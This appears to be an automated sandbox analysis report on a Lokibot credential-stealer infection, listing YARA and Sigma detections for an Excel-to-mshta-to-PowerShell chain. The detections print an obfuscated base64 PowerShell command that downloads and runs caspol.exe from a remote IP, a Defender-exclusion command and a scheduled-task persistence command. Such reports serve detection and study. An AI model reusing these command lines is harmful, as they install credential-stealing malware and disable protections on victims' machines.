Unpacked PEs

Source	Rule	Description	Author	Strings
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
28.2.rrwscqkDSNwLK.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
11.2.caspol.exe.3529c50.3.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.caspol.exe.3529c50.3.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
11.2.caspol.exe.3529c50.3.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
11.2.caspol.exe.3529c50.3.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
11.2.caspol.exe.3529c50.3.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.caspol.exe.3529c50.3.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
11.2.caspol.exe.3529c50.3.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.caspol.exe.3529c50.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.caspol.exe.3529c50.3.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
11.2.caspol.exe.3529c50.3.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
11.2.caspol.exe.3529c50.3.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
11.2.caspol.exe.3529c50.3.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.caspol.exe.3529c50.3.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
11.2.caspol.exe.350fc30.2.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.caspol.exe.350fc30.2.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
11.2.caspol.exe.350fc30.2.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
11.2.caspol.exe.350fc30.2.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
11.2.caspol.exe.350fc30.2.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.caspol.exe.350fc30.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
11.2.caspol.exe.350fc30.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.caspol.exe.350fc30.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.caspol.exe.350fc30.2.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
11.2.caspol.exe.350fc30.2.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
11.2.caspol.exe.350fc30.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
11.2.caspol.exe.350fc30.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.caspol.exe.350fc30.2.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
Click to see the 37 entries

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3192, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\caspol.exe", ParentImage: C:\Users\user\AppData\Roaming\caspol.exe, ParentProcessId: 3888, ParentProcessName: caspol.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe", ProcessId: 3948, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))", CommandLine: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwY

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3192, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3492, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment, CommandLine|base64offset|contains: E, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3580, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment, ProcessId: 3680, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3580, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline", ProcessId: 3792, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 198.244.140.41, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3192, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3580, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\caspol.exe", ParentImage: C:\Users\user\AppData\Roaming\caspol.exe, ParentProcessId: 3888, ParentProcessName: caspol.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp", ProcessId: 4056, ProcessName: schtasks.exe

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3192, Protocol: tcp, SourceIp: 198.244.140.41, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3580, TargetFilename: C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3192, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; 